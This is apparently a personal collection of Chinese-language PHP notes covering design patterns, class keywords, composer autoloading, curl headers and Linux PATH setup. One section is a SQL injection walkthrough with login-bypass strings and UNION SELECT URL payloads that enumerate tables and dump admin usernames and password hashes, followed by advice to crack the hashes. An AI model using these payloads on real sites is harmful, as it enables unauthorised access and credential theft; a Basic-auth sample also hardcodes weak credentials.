php设计模式

单例模式

只创建一次对象,避免多次创建消耗内存

trait Singleton
{
    private static $instance;

    static function getInstance(...$args)
    {
        if(!isset(self::$instance)){
            self::$instance = new static(...$args);
        }
        return self::$instance;
    }
}

class A 
{
    use Singleton;
    public function test(){
        echo 234;
    }
}
调用:
A::getInstance()->test();

工厂模式

工厂方法或者类生成对象,而不是在代码中直接new。使用工厂模式,可以避免当改变某个类的名字或者方法之后,在调用这个类的所有的代码中都修改它的名字或者参数

Test.php
class Test{
    function test1(){
        echo 3333;
    }
}

Factory.php
class Factory{
        /*
         * 如果某个类在很多的文件中都new ClassName(),那么万一这个类的名字
         * 发生变更或者参数发生变化,如果不使用工厂模式,就需要修改每一个PHP
          * 代码,使用了工厂模式之后,只需要修改工厂类或者方法就可以了。
        */
        static function getTest(){
            include_once  'Test.php';
            $Test = new Test();
            return $Test;
        }

        /**
         * 当然也可以把单例和工厂一起使用,更加方便
         */
        static $oo = array(); 
        static function TestSingleton(){
            if (!is_object(self::$oo['test'])) {
                    include_once  'Test.php';
                    self::$oo['test'] = new Test();
            }
            return self::$oo['test'];
        }
    }

Test2.php 中调用
    include 'Factory.php';
    $Test =  Factory::getTest();
    $Test =  Factory::TestSingleton();
    $Test->test1();

注册模式

注册模式,解决全局共享和交换对象。已经创建好的对象,挂在到某个全局可以使用的数组上,在需要使用的时候,直接从该数组上获取即可。将对象注册到全局的树上。任何地方直接去访问。

    class Register
    {
        protected static  $objects;
        function set($alias,$object)//将对象注册到全局的树上
        {
            self::$objects[$alias]=$object;//将对象放到树上
        }
        static function get($name){
            return self::$objects[$name];//获取某个注册到树上的对象
        }
        function _unset($alias)
        {
            unset(self::$objects[$alias]);//移除某个注册到树上的对象。
        }
    }

适配器模式

将各种截然不同的函数接口封装成统一的API。PHP中的数据库操作有MySQL,MySQLi,PDO三种,可以用适配器模式统一成一致,使不同的数据库操作,统一成一样的API

接口 IDatabase
    namespace IMooc;
    interface IDatabase
    {
        function connect($host, $user, $passwd, $dbname);
        function query($sql);
        function close();
    }   
MySQL
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class MySQL implements IDatabase
    {
        protected $conn;
        function connect($host, $user, $passwd, $dbname)
        {
            $conn = mysql_connect($host, $user, $passwd);
            mysql_select_db($dbname, $conn);
            $this->conn = $conn;
        }

        function query($sql)
        {
            $res = mysql_query($sql, $this->conn);
            return $res;
        }

        function close()
        {
            mysql_close($this->conn);
        }
    }
MySQLi
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class MySQLi implements IDatabase
    {
        protected $conn;

        function connect($host, $user, $passwd, $dbname)
        {
            $conn = mysqli_connect($host, $user, $passwd, $dbname);
            $this->conn = $conn;
        }

        function query($sql)
        {
            return mysqli_query($this->conn, $sql);
        }

        function close()
        {
            mysqli_close($this->conn);
        }
    }   
PDO
    namespace IMooc\Database;
    use IMooc\IDatabase;
    class PDO implements IDatabase
    {
        protected $conn;
        function connect($host, $user, $passwd, $dbname)
        {
            $conn = new \PDO("mysql:host=$host;dbname=$dbname", $user, $passwd);
            $this->conn = $conn;
        }
    function query($sql)
        {
            return $this->conn->query($sql);
        }

        function close()
        {
            unset($this->conn);
        }
    }   
    通过以上案例,PHP与MySQL的数据库交互有三套API,在不同的场景下可能使用不同的API,那么开发好的代码,换一个环境,可能就要改变它的数据库API,那么就要改写所有的代码,使用适配器模式之后,就可以使用统一的API去屏蔽底层的API差异带来的环境改变之后需要改写代码的问题。        

策略模式

策略模式,将一组特定的行为和算法封装成类,以适应某些特定的上下文环境。
eg:假如有一个电商网站系统,针对男性女性用户要各自跳转到不同的商品类目,并且所有的广告位展示不同的广告。在传统的代码中,都是在系统中加入各种if else的判断,硬编码的方式。如果有一天增加了一种用户,就需要改写代码。使用策略模式,如果新增加一种用户类型,只需要增加一种策略就可以。其他所有的地方只需要使用不同的策略就可以

UserStrategy.php
    /*
     * 声明策略文件的接口,约定策略包含的行为。
     */
    interface UserStrategy
    {
        function showAd();
        function showCategory();
    }

FemaleUser.php
    require_once 'UserStrategy.php';
    class FemaleUser implements UserStrategy
    {
        function showAd(){
            echo "2016冬季女装";
        }
        function showCategory(){
            echo "女装";
        }
    }

MaleUser.php
    require_once 'Loader.php';
    class MaleUser implements UserStrategy
    {
        function showAd(){
            echo "IPhone6s";
        }
        function showCategory(){
            echo "电子产品";
        }
    }   
Page.php//执行文件
    if(isset($_GET['male'])){
        $strategy = new MaleUser();
    }else {
        $strategy = new FemaleUser();
    }
    $page->setStrategy($strategy);
    $page->index();
总结: 
通过以上方式,可以发现,在不同用户登录时显示不同的内容,但是解决了在显示时的硬编码的问题。如果要增加一种策略,只需要增加一种策略实现类,然后在入口文件中执行判断,传入这个类即可。实现了解耦。

观察者模式

1:观察者模式(Observer),当一个对象状态发生变化时,依赖它的对象全部会收到通知,并自动更新。

2:场景:一个事件发生后,要执行一连串更新操作。传统的编程方式,就是在事件的代码之后直接加入处理的逻辑。当更新的逻辑增多之后,代码会变得难以维护。这种方式是耦合的,侵入式的,增加新的逻辑需要修改事件的主体代码。

3:观察者模式实现了低耦合,非侵入式的通知与更新机制。

EventGenerator.php
    abstract class EventGenerator{
        private $observers = array();
        function addObserver(Observer $observer){
            $this->observers[]=$observer;
        }
        function notify(){
            foreach ($this->observers as $observer){
                $observer->update();
            }
        }
    }

Observer.php
interface Observer{
    function update();//这里就是在事件发生后要执行的逻辑
}

try.php
    //一个实现了EventGenerator抽象类的类,用于具体定义某个发生的事件
    require 'EventGenerator.php';
    require 'Observer.php';
    class Event extends EventGenerator{
        function triger(){
            echo "Event
"; } } class Observer1 implements Observer{ function update(){ echo "逻辑1
"; } } class Observer2 implements Observer{ function update(){ echo "逻辑2
"; } } $event = new Event(); $event->addObserver(new Observer1()); $event->addObserver(new Observer2()); $event->triger(); $event->notify();

装饰器模式

1:装饰器模式,可以动态的添加修改类的功能

2:一个类提供了一项功能,如果要在修改并添加额外的功能,传统的编程模式,需要写一个子类继承它,并重写实现类的方法

3:使用装饰器模式,仅需要在运行时添加一个装饰器对象即可实现,可以实现最大额灵活性。

原型模式

原型模式(对象克隆以避免创建对象时的消耗)

1:与工厂模式类似,都是用来创建对象。

2:与工厂模式的实现不同,原型模式是先创建好一个原型对象,然后通过clone原型对象来创建新的对象。这样就免去了类创建时重复的初始化操作。

3:原型模式适用于大对象的创建,创建一个大对象需要很大的开销,如果每次new就会消耗很大,原型模式仅需要内存拷贝即可。

php中的类关键字

trait / implements / interface / abstract / extends

trait

trait是php5.4以后新增加的一个功能,可以将多个类中,共用的一些属性和方法提取出来做来公共trait类,就像是装配汽车的配件,如果你的类中要用到这些配件,就直接用use导入就可以了,相当于把trait中的代码复制到当前类中.

 trait test {
    function helllo(){
        echo 'hello ';
    }
 } 
 class test2 {
    use test;
    function world(){
        echo 'world';
    }
 }
 $r = new test2;
 $r->hello();
 $r->world();

abstract 抽象类

abstract 定义的类 不仅可以有抽象函数,还可以有具体的函数实现
抽象类不能被直接实例化。
抽象类中只定义(或部分实现)子类需要的方法。
子类可以通过继承抽象类并通过实现抽象类中的所有抽象方法,使抽象类具体化
如果子类需要实例化,前提是它实现了抽象类中的所有抽象方法。
如果子类没有全部实现抽象类中的所有抽象方法,那么该子类也是一个抽象类,必须在 class 前面加上 abstract 关键字,并且不能被实例化

abstract class A {
    abstract public function method1();
    abstract public function method2();
    public function method3() {
        //... code ...
    }
}
class B extends A {   
    function test3(){
        echo 45454;
    }
    function method1(){}
    // function method2(){} 
}
注:上例中B没有全部实现A中的抽象方法,php就会报错
    php: error
    Class B contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (A::method2) in Standard input code

interface 接口

一种成员属性全部为抽象或常量的特殊抽象类。

接口其实是一种规范,在结构中规定一些方法,
但不用实现,目的是想让一个类来继承并实现它,严格来说不是继承,就是一个类来实现它。接口中除了方法声明外,还可以有常量

interface Computer{
  const CAND='78849';
  public function aaa();
  public function bbb();
} 
class noteBook implements Computer{
    public function aaa(){
          echo 'I am lilei';
    }
    public function bbb(){
          echo 'I am hanmeimei';
    }
}
也就是说接口规定方法名称,实现这个接口的子类中必须全部实现接口里面定义的方法

extends 继承

 子类继承父类就用 extends 关键字

implements

实现接口 和interface配合使用

mysql注入

用户名密码输入框注入

猜测我们的sql模型:

1: SELECT USER from database WHERE username ='admin' AND password =md5('xenu') limit 1
username :  a' or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from database  where  username = 'a' or 1=1 -- ' and password = md5('xenu') limit 1;

2: select username,pass from users where username="$username" and password = md5('xenu') limit 0,1; 
username :  a" or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from USER  where  username = "a" or 1=1 -- " and password = md5('xenu') limit 1;

访问url注入: index.php?uid=1

检查漏洞

index.php?uid=1'
加上一个‘,如果站点有做参数的校正,过滤,则会正常返回网页,否则会报错则表明站点存在漏洞

示例表

CREATE TABLE admin (
  uid int(10) unsigned NOT NULL AUTO_INCREMENT,
  username varchar(30) NOT NULL DEFAULT '' COMMENT '用户名',
  password varchar(50) NOT NULL DEFAULT '' COMMENT '密码',
  PRIMARY KEY (uid)
) ENGINE=InnoDB AUTO_INCREMENT=114 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;    

获取表有多少列

index.php?uid=5+group+by+3+--+  //+会被转移成空格
得到sql: select * from admin where id = 5 group by 3 --  
order by 3 可以用来查找当前表有多少列, order by 3 不抱错 4包错 则说明表中有3列 否则继续增加group by  的值
直到报错为止

获取版本号

由于上面我们知道了表的列数是3,所以下面我们可以用union 关键字来联合查询
index.php?uid=1+union+all+select+version(),+2,+3+--+
得到 : select * from admin where uid = 1 union all select version(), 2, 3 -- 

获取当前库的所有表名

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.tables+--+
得到: select * from admin where uid = 1 union all select table_name, 2, 3 from information_schema.tables -- 

获取当前库所有的列字段

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.columns+--+ 
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns -- 
这个数据量太大,没啥意义

获取制定表的字段

index.php?uid=1+union+all+select+column_name,+2,+3+from+information_schema.columns++WHERE+table_name='admin' --+     
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns WHERE table_name='admin' -- 

查找用户名和密码 concat 字符串拼接函数

index.php?uid=1+union+all+select+concat(username,0x3a,password),+2,+3+from+admin+--+
得到: select * from admin where uid = 1 union all select concat(username,0x3a,password), 2, 3 from admin-- 
admin:9F14974D57DE204E37C11AEAC3EE4940

用特定工具尝试破解密码

这里密码是哈希的,在这种情况下,它是MD5。 现在你需要得到像hashcat,passwordpro(等)一样的哈希破解程序并破解哈希。 哈希值可能与SHA1,MD5等不同。或者有时可能会在页面上显示明文密码。

PHP 开启Authorization Header验证,及访问方法

使用Authorization 做登录验证

<?php
     $authorization = false;
     if($_SERVER['PHP_AUTH_USER'] == "admin" && $_SERVER['PHP_AUTH_PW'] == "admin888"){
         echo "login";
         $authorization = true;
         exit;
     }
     if(!$authorization){
        header("WWW-Authenticate:Basic realm='Private'");
        header('HTTP/1.0 401 Unauthorized');
        print "You are unauthorized to enter this area.";
     }

如何访问

1:浏览器访问,手动输入账号密码  
2:http://admin:admin888@test.yiihua.com/tool/test4.php
3:也可以使用 header 头存储密码 Authorization: Basic base64(帐号:密码)
例子 :

<?php
    function http_post($sUrl,$aHeader, $aData){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_URL, $sUrl);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($aData));
        $sResult = curl_exec($ch);
        if($sError=curl_error($ch)){
            die($sError);
        }
        curl_close($ch);
        return $sResult;
    }
    $url = 'http://test.yiihua.com/tool/test4.php';
    $header = array("Authorization: Basic ".base64_encode('admin:admin888'));
    $data = array(123);
    $data = http_post($url,$header,$data);
    var_dump($data);     

PHP中new static()与new self()的区别异同

self - 就是这个类,是代码段里面的这个类。

static - PHP 5.3加进来的只得是当前这个类,有点像$this的意思,从堆内存中提取出来,访问的是当前实例化的那个类,那么 static 代表的就是那个类。

差异应该在于new self是实例化当前代码所在类。new static是调用的的那个类,例如,MyTest继承了Test类, 那么当在MyTest中使用static的时候,这个static代表的就是MyTest,self代表的就是Test。

还是看看老外的专业解释吧:

self refers to the same class whose method the new operation takes place in.

static in PHP 5.3's late static bindings refers to whatever class in the hierarchy which you call the method on.

In the following example, B inherits both methods from A. self is bound to A because it's defined in A's implementation of the first method, whereas static is bound to the called class (also see  get_called_class() ).

class A {
public static function get_self() {
return new self();
}
public static function get_static() {
return new static();
}
}
class B extends A {}
echo get_class(B::get_self()); // A
echo get_class(B::get_static()); // B
echo get_class(A::get_static()); // A

composer.json文件理解及使用composer dump-autoload

composer.json

1.依赖管理

 require

5.3.*表示,可以使用5.3.1版本,也可以使用5.3.2版本,

"require": {
    "php": ">=5.6.4",

"erusev/parsedown": "^1.6",
    "laravel/framework": "5.4.*",
 "laravel/tinker": "~1.0",

"mockery/mockery": "0.9.*",

"swiftmailer/swiftmailer": 5.3.*@dev,@dev表示可以获取开发版本。通常,开发版本意味非稳定版本,很可能存在bug。稳定性标签可以作用于特定的依赖项,也可以作用于全局。},

全局稳定性设置:通过设置minimum-stability的值,来告诉Composer当前开发的项目的依赖要求的包的全局稳定性级别,它的值包括:dev、alpha、beta、RC、stable,stable是默认值。

2自动加载
//再此运行composer dump-autoload,尝试调用

"files": [
    "app/Helper/function.php"
]

"autoload":{

"files":["aa/bb.php”],////不需要命名空间

}

//files键对应的值是一个数组,数组元素是文件的路径,路径是相对于应用的根目录。加上上述内容后,运行命令:

 Classmap方式自动加载

通过文件引入的方法虽然直观,但是很费劲,每个文件都得引入一次,实在不是好的解决办法。有没有更好的办法呢?尝试将autoload的值改成:

 "classmap": [

    "database",

    "aa"

],

aa文件夹里面不要写命名空间

 PSR-4 加载方式 (最常用的方式)

FIG组织制定的一组PHP相关规范,简称PSR,其中

PSR-0自动加载 
PSR-1基本代码规范 
PSR-2代码样式 
PSR-3日志接口 
PSR-4 自动加载

"psr-4": { 
    "App\\": "app/",    //前面是命名空间,后面是目录结构
    "Models\\": "models/",
    "Persimmon\\": "app/Persimmon"
},

{

    "autoload": {

        "psr-4": {"Acme\\": "src/"}

    }

}

Composer 将注册一个PSR-4 autoloader  Acme 命名空间。

你可以定义一个从命名空间到目录的映射。此时 src 会在你项目的根目录,与 vendor 文件夹同级。例如 src/Foo.php 文件应该包含 Acme\Foo 类。

转载自:https://www.cnblogs.com/keiweila/p/7989432.html

PHP中,如何吧返回的json对象转数组

再爬取一些网页的时候,返回的数据经常是json对象,例如:

var json={rank:["0022562,002256,兆新股份,2.65,2.79,2.92,2.92,2.66,16703,590878,0.27,10.19%,2.83,9.81,100.00,196178,951,262080,328798,-1,0,0.00,0.94,4.25,-,001153|002538|003549|003571,2.92,-,2019-08-21 15:00:00,0,1882411872,5496642810,12.56"],pages:3694}

我们会发现大括号里面的内容对于php来说不是标准的json格式,所以我们得先处理下:

1: 提取我们需要的内容
$ret = explode("=", $data);
$str = $ret[1];

2: 正则匹配,替换成我们需要的数据形式
$str2 = preg_replace(["/([a-zA-Z_]+[a-zA-Z0-9_])\s:/", "/:\s'(.?)'/"], ['"\1":', ': "\1"'], $str);
得到结果如下:
{"rank":["0022562,002256,兆新股份,2.65,2.79,2.92,2.92,2.66,16703,590878,0.27,10.19%,2.83,9.81,100.00,196178,951,262080,328798,-1,0,0.00,0.94,4.25,-,001153|002538|003549|003571,2.92,-,2019-08-21 15:00:00,0,1882411872,5496642810,12.56"],"pages":3694}

3: $ret = json_decode($str2,true);

php命名空间,自动加载

1:首先介绍下php魔术方法__autoload()
实现自动加载最简单的方式就是使用 __autoload 魔术方法。当需要使用的类没有被引入时,这个函数会在PHP报错前被触发,未定义的类名会被当作参数传入

2:在说下spl_autoload_register() 方法
这个方法需要你的 PHP 版本号大于 5.12。一旦调用 spl_autoload_register() 函数,当调用未定义类时,系统就会按顺序调用注册到 spl_autoload_register() 函数的所有函数,而不是自动调用 __autoload() 函数

3:PSR4规范
PSR-4 规范中必须要有一个顶级命名空间,它的意义在于表示某一个特殊的目录(文件基目录)。子命名空间代表的是类文件相对于文件基目录的这一段路径(相对路径),类名则与文件名保持一致(注意大小写的区别)。

举个例子:在全限定类名 \app\view\news\Index 中,如果 app 代表 C:\Baidu,那么这个类的路径则是 C:\Baidu\view\news\Index.php

4:实现过程
我们就以解析 \app\view\Index 为例,编写一个简单的 Demo:

namespace app\view; 
 class Index 
 {
     function __construct()
     {
         echo 'Welcome To Home';
     }
 }


接着我们在创建一个加载类(不需要命名空间),它处于 \ 目录中:

class Loader
{
    /* 路径映射 */
    public static $vendorMap = array(
        'app' => __DIR__ . DIRECTORY_SEPARATOR,
    );

    /**
     * 自动加载器
     */
    public static function autoload($class)
    {
        $file = self::findFile($class);
        if (file_exists($file)) {
            self::includeFile($file);
        }
    }

    /**
     * 解析文件路径
     */
    private static function findFile($class)
    {
        $vendor = substr($class, 0, strpos($class, '\\')); // 顶级命名空间
        $vendorDir = self::$vendorMap[$vendor]; // 文件基目录
        $filePath = substr($class, strlen($vendor)) . '.php'; // 文件相对路径
        return strtr($vendorDir . $filePath, '\\', DIRECTORY_SEPARATOR); // 文件标准路径
    }

    /**
     * 引入文件
     */
    private static function includeFile($file)
    {
        if (is_file($file)) {
            include $file;
        }
    }
}

最后,将 Loader 类中的 autoload 注册到 spl_autoload_register 函数中:

include 'Loader.php'; // 引入加载器
spl_autoload_register('Loader::autoload'); // 注册自动加载

new \app\view\Index(); // 实例化未引用的类

/**
 * 输出:  Welcome To Home 
 */

post请求超过1024字节解决方法

基础知识背景:


“Expect: 100-continue”的来龙去脉:
HTTP/1.1 协议里设计 100 (Continue) HTTP 状态码的的目的是,在客户端发送 Request Message 之前,HTTP/1.1 协议允许客户端先判定服务器是否愿意接受客户端发来的消息主体(基于 Request Headers)。
即, Client 和 Server 在 Post (较大)数据之前,允许双方“握手”,如果匹配上了,Client 才开始发送(较大)数据。
这么做的原因是,如果客户端直接发送请求数据,但是服务器又将该请求拒绝的话,这种行为将带来很大的资源开销。

libcurl 发送大于1024字节数据时启用“Expect:100-continue‘特性:

在使用 curl 做 POST 的时候,当要 POST 的数据大于 1024 字节的时候,curl 并不会直接就发起 POST 请求,而是会分为两步
1:发送一个请求,包含一个 "Expect: 100-continue" 头域,询问 Server 是否愿意接收数据;
2:接收到 Server 返回的 100-continue 应答以后,才把数据 POST 给 Server;

PHP Curl-library 可以主动封禁此特性:

PHP curl 遵从 libcurl 的特性。由于不是所有 web servers 都支持这个特性,所以会产生各种各样的错误。如果你遇到了,可以用下面的命令封禁”Expect”头域:

<?php
    //添加如下head头就可传输大于1024字节请求
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>


linux查看和修改PATH环境变量的方法

查看PATH:echo $PATH
以添加mongodb server为列
修改方法一:
export PATH=/usr/local/mongodb/bin:$PATH
//配置完后可以通过echo $PATH查看配置结果。
生效方法:立即生效
有效期限:临时改变,只能在当前的终端窗口中有效,当前窗口关闭后就会恢复原有的path配置
用户局限:仅对当前用户

修改方法二:
通过修改.bashrc文件:
vim ~/.bashrc
//在最后一行添上:
export PATH=/usr/local/mongodb/bin:$PATH
生效方法:(有以下两种)
1、关闭当前终端窗口,重新打开一个新终端窗口就能生效
2、输入“source ~/.bashrc”命令,立即生效
有效期限:永久有效
用户局限:仅对当前用户

修改方法三:
通过修改profile文件:
vim /etc/profile
/export PATH //找到设置PATH的行,添加
export PATH=/usr/local/mongodb/bin:$PATH
生效方法:系统重启
有效期限:永久有效
用户局限:对所有用户

修改方法四:
通过修改environment文件:
vim /etc/environment
在PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"中加入“:/usr/local/mongodb/bin”
生效方法:系统重启
有效期限:永久有效
用户局限:对所有用户